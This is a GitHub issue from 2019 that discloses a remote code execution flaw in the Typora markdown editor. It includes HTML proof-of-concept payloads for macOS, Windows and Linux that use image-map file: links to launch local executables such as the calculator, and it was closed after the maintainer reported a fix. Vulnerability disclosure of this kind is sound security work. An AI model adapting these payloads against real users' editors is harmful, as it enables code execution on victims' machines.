Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Typora Version 0.9.9.21.1 (1913) Remote Code Execution Vulnerability #2166

Closed
tylerp96 opened this issue Feb 7, 2019 · 3 comments

Comments

Projects
None yet
3 participants
@tylerp96
Copy link

commented Feb 7, 2019

Typora Version 0.9.9.21.1 (1913) Remote Code Execution Vulnerability

Description:

Typora fails to sanitize input on HTML attributes. Abusing the file:\\ URI scheme on HTML attributes can result in arbitrary code execution. The below proof of concepts will execute calculator when opened inside of Typora (MacOS, Linux, Windows). Attached are screenshots as well as the .md files that trigger the vulnerability (PoC.zip).

Tested On: MacOS 10.14.2, Ubuntu 18.04, Windows 10

Proof of Concepts:

MacOS:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\Applications\Calculator.app">
</map>
</body>
</html>

Windows:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file://C|Windows/System32/calc.exe">
</map>
</body>
</html>

Linux:

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\">
</map>
</body>
</html>

PoC.zip

@tylerp96

This comment has been minimized.

Copy link
Author

commented Feb 7, 2019

macos_poc

windows_poc

@Fastidious

This comment has been minimized.

Copy link

commented Feb 8, 2019

@tylerp96 I think this is by design. You can do the same thing on an HTML page, open it on a browser, and it will have the same effect.

@abnerlee abnerlee added the bug label Feb 13, 2019

@abnerlee

This comment has been minimized.

Copy link
Contributor

commented Feb 17, 2019

fixed in new release

@abnerlee abnerlee closed this Feb 17, 2019

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.